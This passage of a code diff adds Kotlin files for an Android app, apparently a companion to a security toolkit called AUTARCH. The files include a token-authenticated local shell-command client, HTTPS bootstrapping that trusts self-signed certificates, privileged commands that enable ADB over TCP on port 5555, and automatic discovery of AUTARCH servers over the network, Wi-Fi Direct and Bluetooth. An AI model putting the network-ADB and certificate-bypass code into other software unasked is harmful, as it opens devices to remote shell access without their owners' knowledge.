return prefs.getInt(KEY_PORT, DEFAULT_PORT)
|
||||
}
|
||||
|
||||
private fun sendCommand(token: String, port: Int, cmd: String, timeoutSec: Int = 30): ShellResult {
|
||||
val socket = Socket()
|
||||
try {
|
||||
socket.connect(InetSocketAddress("127.0.0.1", port), CONNECT_TIMEOUT)
|
||||
socket.soTimeout = (timeoutSec + 5) * 1000
|
||||
|
||||
val writer = PrintWriter(OutputStreamWriter(socket.getOutputStream()), true)
|
||||
val reader = BufferedReader(InputStreamReader(socket.getInputStream()))
|
||||
|
||||
// Build JSON request
|
||||
val request = """{"token":"${escapeJson(token)}","cmd":"${escapeJson(cmd)}","timeout":$timeoutSec}"""
|
||||
writer.println(request)
|
||||
|
||||
// Read JSON response
|
||||
val response = reader.readLine()
|
||||
?: return ShellResult("", "No response from server", -1)
|
||||
|
||||
return parseResponse(response)
|
||||
} finally {
|
||||
try { socket.close() } catch (e: Exception) { /* ignore */ }
|
||||
}
|
||||
}
|
||||
|
||||
private fun parseResponse(json: String): ShellResult {
|
||||
val stdout = extractJsonString(json, "stdout") ?: ""
|
||||
val stderr = extractJsonString(json, "stderr") ?: ""
|
||||
val exitCode = extractJsonInt(json, "exit_code", -1)
|
||||
return ShellResult(stdout, stderr, exitCode)
|
||||
}
|
||||
|
||||
private fun extractJsonString(json: String, key: String): String? {
|
||||
val search = "\"$key\""
|
||||
var idx = json.indexOf(search)
|
||||
if (idx < 0) return null
|
||||
|
||||
idx = json.indexOf(':', idx + search.length)
|
||||
if (idx < 0) return null
|
||||
idx++
|
||||
|
||||
while (idx < json.length && json[idx] == ' ') idx++
|
||||
if (idx >= json.length || json[idx] != '"') return null
|
||||
idx++
|
||||
|
||||
val sb = StringBuilder()
|
||||
while (idx < json.length) {
|
||||
val c = json[idx]
|
||||
if (c == '\\' && idx + 1 < json.length) {
|
||||
when (json[idx + 1]) {
|
||||
'"' -> sb.append('"')
|
||||
'\\' -> sb.append('\\')
|
||||
'n' -> sb.append('\n')
|
||||
'r' -> sb.append('\r')
|
||||
't' -> sb.append('\t')
|
||||
else -> sb.append(json[idx + 1])
|
||||
}
|
||||
idx += 2
|
||||
} else if (c == '"') {
|
||||
break
|
||||
} else {
|
||||
sb.append(c)
|
||||
idx++
|
||||
}
|
||||
}
|
||||
return sb.toString()
|
||||
}
|
||||
|
||||
private fun extractJsonInt(json: String, key: String, default: Int): Int {
|
||||
val search = "\"$key\""
|
||||
var idx = json.indexOf(search)
|
||||
if (idx < 0) return default
|
||||
|
||||
idx = json.indexOf(':', idx + search.length)
|
||||
if (idx < 0) return default
|
||||
idx++
|
||||
|
||||
while (idx < json.length && json[idx] == ' ') idx++
|
||||
|
||||
val sb = StringBuilder()
|
||||
while (idx < json.length && (json[idx].isDigit() || json[idx] == '-')) {
|
||||
sb.append(json[idx])
|
||||
idx++
|
||||
}
|
||||
return sb.toString().toIntOrNull() ?: default
|
||||
}
|
||||
|
||||
/**
|
||||
* Bootstrap ArchonServer via AUTARCH server's USB ADB connection.
|
||||
* Uses the /hardware/archon/bootstrap endpoint which auto-discovers the device.
|
||||
*/
|
||||
private fun startServerViaHttp(context: Context, apkPath: String, token: String, port: Int): ShellResult? {
|
||||
val serverIp = PrefsManager.getServerIp(context)
|
||||
val serverPort = PrefsManager.getWebPort(context)
|
||||
if (serverIp.isEmpty()) return null
|
||||
|
||||
return try {
|
||||
val url = java.net.URL("https://$serverIp:$serverPort/hardware/archon/bootstrap")
|
||||
val conn = url.openConnection() as java.net.HttpURLConnection
|
||||
com.darkhal.archon.util.SslHelper.trustSelfSigned(conn)
|
||||
conn.connectTimeout = 5000
|
||||
conn.readTimeout = 15000
|
||||
conn.requestMethod = "POST"
|
||||
conn.setRequestProperty("Content-Type", "application/json")
|
||||
conn.doOutput = true
|
||||
|
||||
val payload = """{"apk_path":"${escapeJson(apkPath)}","token":"${escapeJson(token)}","port":$port}"""
|
||||
Log.i(TAG, "Bootstrap via HTTP: $serverIp:$serverPort")
|
||||
conn.outputStream.write(payload.toByteArray())
|
||||
|
||||
val code = conn.responseCode
|
||||
val body = if (code in 200..299) {
|
||||
conn.inputStream.bufferedReader().readText()
|
||||
} else {
|
||||
conn.errorStream?.bufferedReader()?.readText() ?: "HTTP $code"
|
||||
}
|
||||
conn.disconnect()
|
||||
|
||||
Log.i(TAG, "Bootstrap HTTP response: $code - $body")
|
||||
|
||||
if (code in 200..299) {
|
||||
val stdout = extractJsonString(body, "stdout") ?: body
|
||||
val stderr = extractJsonString(body, "stderr") ?: ""
|
||||
val exitCode = extractJsonInt(body, "exit_code", 0)
|
||||
ShellResult(stdout, stderr, exitCode)
|
||||
} else {
|
||||
Log.w(TAG, "Bootstrap returned HTTP $code: $body")
|
||||
null
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "Bootstrap failed: ${e.message}")
|
||||
null
|
||||
}
|
||||
}
|
||||
|
||||
private fun escapeJson(s: String): String {
|
||||
return s.replace("\\", "\\\\").replace("\"", "\\\"").replace("\n", "\\n")
|
||||
}
|
||||
|
||||
data class StartResult(val success: Boolean, val message: String)
|
||||
}
|
||||
@@ -0,0 +1,77 @@
|
||||
package com.darkhal.archon.service
|
||||
|
||||
import com.darkhal.archon.util.PrivilegeManager
|
||||
import com.darkhal.archon.util.ShellExecutor
|
||||
import com.darkhal.archon.util.ShellResult
|
||||
|
||||
object AdbManager {
|
||||
|
||||
private const val ADBD_PROCESS = "adbd"
|
||||
|
||||
/**
|
||||
* Enable ADB over TCP/IP on the specified port.
|
||||
* Uses the best available privilege method.
|
||||
*/
|
||||
fun enableTcpMode(port: Int = 5555): ShellResult {
|
||||
return PrivilegeManager.execute(
|
||||
"setprop service.adb.tcp.port $port && stop adbd && start adbd"
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
* Disable ADB TCP/IP mode, reverting to USB-only.
|
||||
*/
|
||||
fun disableTcpMode(): ShellResult {
|
||||
return PrivilegeManager.execute(
|
||||
"setprop service.adb.tcp.port -1 && stop adbd && start adbd"
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
* Kill the ADB daemon.
|
||||
*/
|
||||
fun killServer(): ShellResult {
|
||||
return PrivilegeManager.execute("stop adbd")
|
||||
}
|
||||
|
||||
/**
|
||||
* Restart the ADB daemon (stop then start).
|
||||
*/
|
||||
fun restartServer(): ShellResult {
|
||||
return PrivilegeManager.execute("stop adbd && start adbd")
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if the ADB daemon process is currently running.
|
||||
*/
|
||||
fun isRunning(): Boolean {
|
||||
val result = ShellExecutor.execute("pidof $ADBD_PROCESS")
|
||||
return result.exitCode == 0 && result.stdout.isNotEmpty()
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the current ADB mode: "tcp" with port number, or "usb".
|
||||
*/
|
||||
fun getMode(): String {
|
||||
val result = ShellExecutor.execute("getprop service.adb.tcp.port")
|
||||
val port = result.stdout.trim()
|
||||
return if (port.isNotEmpty() && port != "-1" && port != "0") {
|
||||
"tcp:$port"
|
||||
} else {
|
||||
"usb"
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Get a combined status map for display.
|
||||
*/
|
||||
fun getStatus(): Map<String, Any> {
|
||||
val running = isRunning()
|
||||
val mode = getMode()
|
||||
return mapOf(
|
||||
"running" to running,
|
||||
"mode" to mode,
|
||||
"tcp_enabled" to mode.startsWith("tcp")
|
||||
)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,416 @@
|
||||
package com.darkhal.archon.service
|
||||
|
||||
import android.bluetooth.BluetoothAdapter
|
||||
import android.bluetooth.BluetoothDevice
|
||||
import android.bluetooth.BluetoothManager
|
||||
import android.content.BroadcastReceiver
|
||||
import android.content.Context
|
||||
import android.content.Intent
|
||||
import android.content.IntentFilter
|
||||
import android.net.nsd.NsdManager
|
||||
import android.net.nsd.NsdServiceInfo
|
||||
import android.net.wifi.WifiManager
|
||||
import android.net.wifi.p2p.WifiP2pConfig
|
||||
import android.net.wifi.p2p.WifiP2pDevice
|
||||
import android.net.wifi.p2p.WifiP2pDeviceList
|
||||
import android.net.wifi.p2p.WifiP2pInfo
|
||||
import android.net.wifi.p2p.WifiP2pManager
|
||||
import android.os.Handler
|
||||
import android.os.Looper
|
||||
import android.util.Log
|
||||
|
||||
/**
|
||||
* Discovers AUTARCH servers on the network using three methods (priority order):
|
||||
*
|
||||
* 1. **mDNS/NSD** — discovers _autarch._tcp.local. on LAN (fastest, most reliable)
|
||||
* 2. **Wi-Fi Direct** — discovers AUTARCH peers when no shared LAN exists
|
||||
* 3. **Bluetooth** — discovers AUTARCH BT advertisement (fallback, requires BT enabled + paired)
|
||||
*
|
||||
* Usage:
|
||||
* val discovery = DiscoveryManager(context)
|
||||
* discovery.listener = object : DiscoveryManager.Listener { ... }
|
||||
* discovery.startDiscovery()
|
||||
* // ... later ...
|
||||
* discovery.stopDiscovery()
|
||||
*/
|
||||
class DiscoveryManager(private val context: Context) {
|
||||
|
||||
companion object {
|
||||
private const val TAG = "ArchonDiscovery"
|
||||
private const val MDNS_SERVICE_TYPE = "_autarch._tcp."
|
||||
private const val BT_TARGET_NAME = "AUTARCH"
|
||||
private const val WIFIDIRECT_TARGET_NAME = "AUTARCH"
|
||||
private const val DISCOVERY_TIMEOUT_MS = 15000L
|
||||
}
|
||||
|
||||
// ── Result Data ─────────────────────────────────────────────────
|
||||
|
||||
data class DiscoveredServer(
|
||||
val ip: String,
|
||||
val port: Int,
|
||||
val hostname: String,
|
||||
val method: ConnectionMethod,
|
||||
val extras: Map<String, String> = emptyMap()
|
||||
)
|
||||
|
||||
enum class ConnectionMethod {
|
||||
MDNS, // Found via mDNS on local network
|
||||
WIFI_DIRECT, // Found via Wi-Fi Direct
|
||||
BLUETOOTH // Found via Bluetooth
|
||||
}
|
||||
|
||||
// ── Listener ────────────────────────────────────────────────────
|
||||
|
||||
interface Listener {
|
||||
fun onServerFound(server: DiscoveredServer)
|
||||
fun onDiscoveryStarted(method: ConnectionMethod)
|
||||
fun onDiscoveryStopped(method: ConnectionMethod)
|
||||
fun onDiscoveryError(method: ConnectionMethod, error: String)
|
||||
}
|
||||
|
||||
var listener: Listener? = null
|
||||
private val handler = Handler(Looper.getMainLooper())
|
||||
|
||||
// ── State ───────────────────────────────────────────────────────
|
||||
|
||||
private var mdnsRunning = false
|
||||
private var wifiDirectRunning = false
|
||||
private var bluetoothRunning = false
|
||||
|
||||
private var nsdManager: NsdManager? = null
|
||||
private var discoveryListener: NsdManager.DiscoveryListener? = null
|
||||
private var wifiP2pManager: WifiP2pManager? = null
|
||||
private var wifiP2pChannel: WifiP2pManager.Channel? = null
|
||||
private var bluetoothAdapter: BluetoothAdapter? = null
|
||||
|
||||
private val discoveredServers = mutableListOf<DiscoveredServer>()
|
||||
|
||||
// ── Public API ──────────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Start all available discovery methods in priority order.
|
||||
* Results arrive via the [Listener] callback.
|
||||
*/
|
||||
fun startDiscovery() {
|
||||
discoveredServers.clear()
|
||||
startMdnsDiscovery()
|
||||
startWifiDirectDiscovery()
|
||||
startBluetoothDiscovery()
|
||||
|
||||
// Auto-stop after timeout
|
||||
handler.postDelayed({ stopDiscovery() }, DISCOVERY_TIMEOUT_MS)
|
||||
}
|
||||
|
||||
/**
|
||||
* Stop all discovery methods.
|
||||
*/
|
||||
fun stopDiscovery() {
|
||||
stopMdnsDiscovery()
|
||||
stopWifiDirectDiscovery()
|
||||
stopBluetoothDiscovery()
|
||||
}
|
||||
|
||||
/**
|
||||
* Get all servers found so far.
|
||||
*/
|
||||
fun getDiscoveredServers(): List<DiscoveredServer> {
|
||||
return discoveredServers.toList()
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the best server (highest priority method).
|
||||
*/
|
||||
fun getBestServer(): DiscoveredServer? {
|
||||
return discoveredServers.minByOrNull { it.method.ordinal }
|
||||
}
|
||||
|
||||
// ── mDNS / NSD ─────────────────────────────────────────────────
|
||||
|
||||
private fun startMdnsDiscovery() {
|
||||
if (mdnsRunning) return
|
||||
|
||||
try {
|
||||
nsdManager = context.getSystemService(Context.NSD_SERVICE) as? NsdManager
|
||||
if (nsdManager == null) {
|
||||
notifyError(ConnectionMethod.MDNS, "NSD service not available")
|
||||
return
|
||||
}
|
||||
|
||||
discoveryListener = object : NsdManager.DiscoveryListener {
|
||||
override fun onDiscoveryStarted(serviceType: String) {
|
||||
Log.d(TAG, "mDNS discovery started")
|
||||
mdnsRunning = true
|
||||
handler.post { listener?.onDiscoveryStarted(ConnectionMethod.MDNS) }
|
||||
}
|
||||
|
||||
override fun onServiceFound(serviceInfo: NsdServiceInfo) {
|
||||
Log.d(TAG, "mDNS service found: ${serviceInfo.serviceName}")
|
||||
// Resolve to get IP and port
|
||||
nsdManager?.resolveService(serviceInfo, object : NsdManager.ResolveListener {
|
||||
override fun onResolveFailed(info: NsdServiceInfo, errorCode: Int) {
|
||||
Log.w(TAG, "mDNS resolve failed: $errorCode")
|
||||
}
|
||||
|
||||
override fun onServiceResolved(info: NsdServiceInfo) {
|
||||
val host = info.host?.hostAddress ?: return
|
||||
val port = info.port
|
||||
val hostname = info.attributes["hostname"]
|
||||
?.let { String(it) } ?: info.serviceName
|
||||
|
||||
val server = DiscoveredServer(
|
||||
ip = host,
|
||||
port = port,
|
||||
hostname = hostname,
|
||||
method = ConnectionMethod.MDNS,
|
||||
extras = info.attributes.mapValues { String(it.value ?: byteArrayOf()) }
|
||||
)
|
||||
discoveredServers.add(server)
|
||||
handler.post { listener?.onServerFound(server) }
|
||||
Log.i(TAG, "mDNS: found AUTARCH at $host:$port")
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
override fun onServiceLost(serviceInfo: NsdServiceInfo) {
|
||||
Log.d(TAG, "mDNS service lost: ${serviceInfo.serviceName}")
|
||||
}
|
||||
|
||||
override fun onDiscoveryStopped(serviceType: String) {
|
||||
mdnsRunning = false
|
||||
handler.post { listener?.onDiscoveryStopped(ConnectionMethod.MDNS) }
|
||||
}
|
||||
|
||||
override fun onStartDiscoveryFailed(serviceType: String, errorCode: Int) {
|
||||
mdnsRunning = false
|
||||
notifyError(ConnectionMethod.MDNS, "Start failed (code $errorCode)")
|
||||
}
|
||||
|
||||
override fun onStopDiscoveryFailed(serviceType: String, errorCode: Int) {
|
||||
Log.w(TAG, "mDNS stop failed: $errorCode")
|
||||
}
|
||||
}
|
||||
|
||||
nsdManager?.discoverServices(MDNS_SERVICE_TYPE, NsdManager.PROTOCOL_DNS_SD, discoveryListener)
|
||||
|
||||
} catch (e: Exception) {
|
||||
notifyError(ConnectionMethod.MDNS, e.message ?: "Unknown error")
|
||||
}
|
||||
}
|
||||
|
||||
private fun stopMdnsDiscovery() {
|
||||
if (!mdnsRunning) return
|
||||
try {
|
||||
discoveryListener?.let { nsdManager?.stopServiceDiscovery(it) }
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "mDNS stop error: ${e.message}")
|
||||
}
|
||||
mdnsRunning = false
|
||||
}
|
||||
|
||||
// ── Wi-Fi Direct ────────────────────────────────────────────────
|
||||
|
||||
private val wifiP2pReceiver = object : BroadcastReceiver() {
|
||||
override fun onReceive(ctx: Context, intent: Intent) {
|
||||
when (intent.action) {
|
||||
WifiP2pManager.WIFI_P2P_PEERS_CHANGED_ACTION -> {
|
||||
// Peers list changed, request updated list
|
||||
wifiP2pManager?.requestPeers(wifiP2pChannel) { peers ->
|
||||
handleWifiDirectPeers(peers)
|
||||
}
|
||||
}
|
||||
WifiP2pManager.WIFI_P2P_CONNECTION_CHANGED_ACTION -> {
|
||||
wifiP2pManager?.requestConnectionInfo(wifiP2pChannel) { info ->
|
||||
handleWifiDirectConnection(info)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private fun startWifiDirectDiscovery() {
|
||||
if (wifiDirectRunning) return
|
||||
|
||||
try {
|
||||
wifiP2pManager = context.getSystemService(Context.WIFI_P2P_SERVICE) as? WifiP2pManager
|
||||
if (wifiP2pManager == null) {
|
||||
notifyError(ConnectionMethod.WIFI_DIRECT, "Wi-Fi Direct not available")
|
||||
return
|
||||
}
|
||||
|
||||
wifiP2pChannel = wifiP2pManager?.initialize(context, Looper.getMainLooper(), null)
|
||||
|
||||
// Register receiver for Wi-Fi Direct events
|
||||
val intentFilter = IntentFilter().apply {
|
||||
addAction(WifiP2pManager.WIFI_P2P_PEERS_CHANGED_ACTION)
|
||||
addAction(WifiP2pManager.WIFI_P2P_CONNECTION_CHANGED_ACTION)
|
||||
addAction(WifiP2pManager.WIFI_P2P_STATE_CHANGED_ACTION)
|
||||
}
|
||||
context.registerReceiver(wifiP2pReceiver, intentFilter)
|
||||
|
||||
wifiP2pManager?.discoverPeers(wifiP2pChannel, object : WifiP2pManager.ActionListener {
|
||||
override fun onSuccess() {
|
||||
wifiDirectRunning = true
|
||||
handler.post { listener?.onDiscoveryStarted(ConnectionMethod.WIFI_DIRECT) }
|
||||
Log.d(TAG, "Wi-Fi Direct discovery started")
|
||||
}
|
||||
|
||||
override fun onFailure(reason: Int) {
|
||||
val msg = when (reason) {
|
||||
WifiP2pManager.P2P_UNSUPPORTED -> "P2P unsupported"
|
||||
WifiP2pManager.BUSY -> "System busy"
|
||||
WifiP2pManager.ERROR -> "Internal error"
|
||||
else -> "Unknown error ($reason)"
|
||||
}
|
||||
notifyError(ConnectionMethod.WIFI_DIRECT, msg)
|
||||
}
|
||||
})
|
||||
|
||||
} catch (e: Exception) {
|
||||
notifyError(ConnectionMethod.WIFI_DIRECT, e.message ?: "Unknown error")
|
||||
}
|
||||
}
|
||||
|
||||
private fun handleWifiDirectPeers(peers: WifiP2pDeviceList) {
|
||||
for (device in peers.deviceList) {
|
||||
if (device.deviceName.contains(WIFIDIRECT_TARGET_NAME, ignoreCase = true)) {
|
||||
Log.i(TAG, "Wi-Fi Direct: found AUTARCH peer: ${device.deviceName} (${device.deviceAddress})")
|
||||
// Found an AUTARCH device — connect to get IP
|
||||
connectWifiDirect(device)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private fun connectWifiDirect(device: WifiP2pDevice) {
|
||||
val config = WifiP2pConfig().apply {
|
||||
deviceAddress = device.deviceAddress
|
||||
}
|
||||
wifiP2pManager?.connect(wifiP2pChannel, config, object : WifiP2pManager.ActionListener {
|
||||
override fun onSuccess() {
|
||||
Log.d(TAG, "Wi-Fi Direct: connecting to ${device.deviceName}")
|
||||
}
|
||||
|
||||
override fun onFailure(reason: Int) {
|
||||
Log.w(TAG, "Wi-Fi Direct: connect failed ($reason)")
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
private fun handleWifiDirectConnection(info: WifiP2pInfo) {
|
||||
if (info.groupFormed) {
|
||||
val ownerAddress = info.groupOwnerAddress?.hostAddress ?: return
|
||||
// The group owner is the AUTARCH server
|
||||
val server = DiscoveredServer(
|
||||
ip = ownerAddress,
|
||||
port = 8181, // Default — will be refined via mDNS or API call
|
||||
hostname = "AUTARCH (Wi-Fi Direct)",
|
||||
method = ConnectionMethod.WIFI_DIRECT
|
||||
)
|
||||
discoveredServers.add(server)
|
||||
handler.post { listener?.onServerFound(server) }
|
||||
Log.i(TAG, "Wi-Fi Direct: AUTARCH at $ownerAddress")
|
||||
}
|
||||
}
|
||||
|
||||
private fun stopWifiDirectDiscovery() {
|
||||
if (!wifiDirectRunning) return
|
||||
try {
|
||||
wifiP2pManager?.stopPeerDiscovery(wifiP2pChannel, null)
|
||||
context.unregisterReceiver(wifiP2pReceiver)
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "Wi-Fi Direct stop error: ${e.message}")
|
||||
}
|
||||
wifiDirectRunning = false
|
||||
}
|
||||
|
||||
// ── Bluetooth ───────────────────────────────────────────────────
|
||||
|
||||
private val btReceiver = object : BroadcastReceiver() {
|
||||
override fun onReceive(ctx: Context, intent: Intent) {
|
||||
when (intent.action) {
|
||||
BluetoothDevice.ACTION_FOUND -> {
|
||||
val device = intent.getParcelableExtra<BluetoothDevice>(
|
||||
BluetoothDevice.EXTRA_DEVICE
|
||||
) ?: return
|
||||
|
||||
val name = try { device.name } catch (e: SecurityException) { null }
|
||||
if (name != null && name.contains(BT_TARGET_NAME, ignoreCase = true)) {
|
||||
Log.i(TAG, "Bluetooth: found AUTARCH device: $name (${device.address})")
|
||||
|
||||
val server = DiscoveredServer(
|
||||
ip = "", // BT doesn't give IP directly — use for pairing flow
|
||||
port = 0,
|
||||
hostname = name,
|
||||
method = ConnectionMethod.BLUETOOTH,
|
||||
extras = mapOf(
|
||||
"bt_address" to device.address,
|
||||
"bt_name" to name
|
||||
)
|
||||
)
|
||||
discoveredServers.add(server)
|
||||
handler.post { listener?.onServerFound(server) }
|
||||
}
|
||||
}
|
||||
BluetoothAdapter.ACTION_DISCOVERY_FINISHED -> {
|
||||
bluetoothRunning = false
|
||||
handler.post { listener?.onDiscoveryStopped(ConnectionMethod.BLUETOOTH) }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private fun startBluetoothDiscovery() {
|
||||
if (bluetoothRunning) return
|
||||
|
||||
try {
|
||||
val btManager = context.getSystemService(Context.BLUETOOTH_SERVICE) as? BluetoothManager
|
||||
bluetoothAdapter = btManager?.adapter
|
||||
|
||||
if (bluetoothAdapter == null || bluetoothAdapter?.isEnabled != true) {
|
||||
notifyError(ConnectionMethod.BLUETOOTH, "Bluetooth not available or disabled")
|
||||
return
|
||||
}
|
||||
|
||||
val intentFilter = IntentFilter().apply {
|
||||
addAction(BluetoothDevice.ACTION_FOUND)
|
||||
addAction(BluetoothAdapter.ACTION_DISCOVERY_FINISHED)
|
||||
}
|
||||
context.registerReceiver(btReceiver, intentFilter)
|
||||
|
||||
val started = try {
|
||||
bluetoothAdapter?.startDiscovery() == true
|
||||
} catch (e: SecurityException) {
|
||||
notifyError(ConnectionMethod.BLUETOOTH, "Bluetooth permission denied")
|
||||
return
|
||||
}
|
||||
|
||||
if (started) {
|
||||
bluetoothRunning = true
|
||||
handler.post { listener?.onDiscoveryStarted(ConnectionMethod.BLUETOOTH) }
|
||||
Log.d(TAG, "Bluetooth discovery started")
|
||||
} else {
|
||||
notifyError(ConnectionMethod.BLUETOOTH, "Failed to start BT discovery")
|
||||
}
|
||||
|
||||
} catch (e: Exception) {
|
||||
notifyError(ConnectionMethod.BLUETOOTH, e.message ?: "Unknown error")
|
||||
}
|
||||
}
|
||||
|
||||
private fun stopBluetoothDiscovery() {
|
||||
if (!bluetoothRunning) return
|
||||
try {
|
||||
bluetoothAdapter?.cancelDiscovery()
|
||||
context.unregisterReceiver(btReceiver)
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "Bluetooth stop error: ${e.message}")
|
||||
}
|
||||
bluetoothRunning = false
|
||||
}
|
||||
|
||||
// ── Helpers ─────────────────────────────────────────────────────
|
||||
|
||||
private fun notifyError(method: ConnectionMethod, error: String) {
|
||||
Log.e(TAG, "${method.name}: $error")
|
||||
handler.post { listener?.onDiscoveryError(method, error) }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,391 @@
|
||||
package com.darkhal.archon.service
|
||||
|
||||
import android.content.Context
|
||||
import android.util.Base64
|
||||
import android.util.Log
|
||||
import com.darkhal.archon.util.ShellResult
|
||||
import io.github.muntashirakon.adb.AbsAdbConnectionManager
|
||||
import io.github.muntashirakon.adb.android.AdbMdns
|
||||
import org.conscrypt.Conscrypt
|
||||
import java.io.ByteArrayInputStream
|
||||
import java.io.ByteArrayOutputStream
|
||||
import java.math.BigInteger
|
||||
import java.security.KeyFactory
|
||||
import java.security.KeyPairGenerator
|
||||
import java.security.PrivateKey
|
||||
import java.security.SecureRandom
|
||||
import java.security.Security
|
||||
import java.security.Signature
|
||||
import java.security.cert.Certificate
|
||||
import java.security.cert.CertificateFactory
|
||||
import java.security.spec.PKCS8EncodedKeySpec
|
||||
import java.util.Calendar
|
||||
import java.util.TimeZone
|
||||
import java.util.concurrent.CountDownLatch
|
||||
import java.util.concurrent.TimeUnit
|
||||
import java.util.concurrent.atomic.AtomicBoolean
|
||||
import java.util.concurrent.atomic.AtomicInteger
|
||||
import android.os.Build
|
||||
|
||||
/**
|
||||
* Self-contained local ADB client using libadb-android.
|
||||
* Handles wireless debugging pairing, mDNS discovery, and shell command execution.
|
||||
* No external ADB binary needed — pure Java/TLS implementation.
|
||||
*/
|
||||
object LocalAdbClient {
|
||||
|
||||
private const val TAG = "LocalAdbClient"
|
||||
private const val PREFS_NAME = "archon_adb_keys"
|
||||
private const val KEY_PRIVATE = "adb_private_key"
|
||||
private const val KEY_CERTIFICATE = "adb_certificate"
|
||||
private const val LOCALHOST = "127.0.0.1"
|
||||
|
||||
private var connectionManager: AbsAdbConnectionManager? = null
|
||||
private var connected = AtomicBoolean(false)
|
||||
private var connectedPort = AtomicInteger(0)
|
||||
|
||||
init {
|
||||
// Install Conscrypt as the default TLS provider for TLSv1.3 support
|
||||
Security.insertProviderAt(Conscrypt.newProvider(), 1)
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if we have a stored ADB key pair (device has been paired before).
|
||||
*/
|
||||
fun hasKeyPair(context: Context): Boolean {
|
||||
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
return prefs.contains(KEY_PRIVATE) && prefs.contains(KEY_CERTIFICATE)
|
||||
}
|
||||
|
||||
/**
|
||||
* Generate a new RSA-2048 key pair for ADB authentication.
|
||||
* Stored in SharedPreferences.
|
||||
*/
|
||||
fun generateKeyPair(context: Context) {
|
||||
val kpg = KeyPairGenerator.getInstance("RSA")
|
||||
kpg.initialize(2048)
|
||||
val keyPair = kpg.generateKeyPair()
|
||||
|
||||
// Generate self-signed certificate using Android's built-in X509 support
|
||||
val certificate = generateSelfSignedCert(keyPair)
|
||||
|
||||
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
prefs.edit()
|
||||
.putString(KEY_PRIVATE, Base64.encodeToString(keyPair.private.encoded, Base64.NO_WRAP))
|
||||
.putString(KEY_CERTIFICATE, Base64.encodeToString(certificate.encoded, Base64.NO_WRAP))
|
||||
.apply()
|
||||
|
||||
Log.i(TAG, "Generated new ADB key pair")
|
||||
}
|
||||
|
||||
/**
|
||||
* Generate a self-signed X.509 v3 certificate for ADB authentication.
|
||||
* Built from raw DER/ASN.1 encoding — no sun.security or BouncyCastle needed.
|
||||
*/
|
||||
private fun generateSelfSignedCert(keyPair: java.security.KeyPair): Certificate {
|
||||
val serial = BigInteger(64, SecureRandom())
|
||||
|
||||
val notBefore = Calendar.getInstance(TimeZone.getTimeZone("UTC"))
|
||||
val notAfter = Calendar.getInstance(TimeZone.getTimeZone("UTC"))
|
||||
notAfter.add(Calendar.YEAR, 25)
|
||||
|
||||
// DN: CN=adb_archon
|
||||
val dn = derSequence(derSet(derSequence(
|
||||
derOid(byteArrayOf(0x55, 0x04, 0x03)), // OID 2.5.4.3 = CN
|
||||
derUtf8String("adb_archon")
|
||||
)))
|
||||
|
||||
// SHA256withRSA algorithm identifier
|
||||
// OID 1.2.840.113549.1.1.11
|
||||
val sha256WithRsa = byteArrayOf(
|
||||
0x2A, 0x86.toByte(), 0x48, 0x86.toByte(), 0xCE.toByte(),
|
||||
0x3D, 0x04, 0x03, 0x02 // placeholder, replaced below
|
||||
)
|
||||
// Correct OID bytes for 1.2.840.113549.1.1.11
|
||||
val sha256RsaOid = byteArrayOf(
|
||||
0x2A, 0x86.toByte(), 0x48, 0x86.toByte(), 0xF7.toByte(),
|
||||
0x0D, 0x01, 0x01, 0x0B
|
||||
)
|
||||
val algId = derSequence(derOid(sha256RsaOid), derNull())
|
||||
|
||||
// SubjectPublicKeyInfo — re-use the encoded form from the key
|
||||
val spki = keyPair.public.encoded // Already DER-encoded SubjectPublicKeyInfo
|
||||
|
||||
// TBSCertificate
|
||||
val tbs = derSequence(
|
||||
derExplicit(0, derInteger(BigInteger.valueOf(2))), // v3
|
||||
derInteger(serial),
|
||||
algId,
|
||||
dn, // issuer
|
||||
derSequence(derUtcTime(notBefore), derUtcTime(notAfter)), // validity
|
||||
dn, // subject = issuer (self-signed)
|
||||
spki // subjectPublicKeyInfo
|
||||
)
|
||||
|
||||
// Sign the TBS
|
||||
val sig = Signature.getInstance("SHA256withRSA")
|
||||
sig.initSign(keyPair.private)
|
||||
sig.update(tbs)
|
||||
val signature = sig.sign()
|
||||
|
||||
// Full certificate: SEQUENCE { tbs, algId, BIT STRING(signature) }
|
||||
val certDer = derSequence(tbs, algId, derBitString(signature))
|
||||
|
||||
val cf = CertificateFactory.getInstance("X.509")
|
||||
return cf.generateCertificate(ByteArrayInputStream(certDer))
|
||||
}
|
||||
|
||||
// ── ASN.1 / DER helpers ──────────────────────────────────────
|
||||
|
||||
private fun derTag(tag: Int, content: ByteArray): ByteArray {
|
||||
val out = ByteArrayOutputStream()
|
||||
out.write(tag)
|
||||
derWriteLength(out, content.size)
|
||||
out.write(content)
|
||||
return out.toByteArray()
|
||||
}
|
||||
|
||||
private fun derWriteLength(out: ByteArrayOutputStream, length: Int) {
|
||||
if (length < 0x80) {
|
||||
out.write(length)
|
||||
} else if (length < 0x100) {
|
||||
out.write(0x81)
|
||||
out.write(length)
|
||||
} else if (length < 0x10000) {
|
||||
out.write(0x82)
|
||||
out.write(length shr 8)
|
||||
out.write(length and 0xFF)
|
||||
} else {
|
||||
out.write(0x83)
|
||||
out.write(length shr 16)
|
||||
out.write((length shr 8) and 0xFF)
|
||||
out.write(length and 0xFF)
|
||||
}
|
||||
}
|
||||
|
||||
private fun derSequence(vararg items: ByteArray): ByteArray {
|
||||
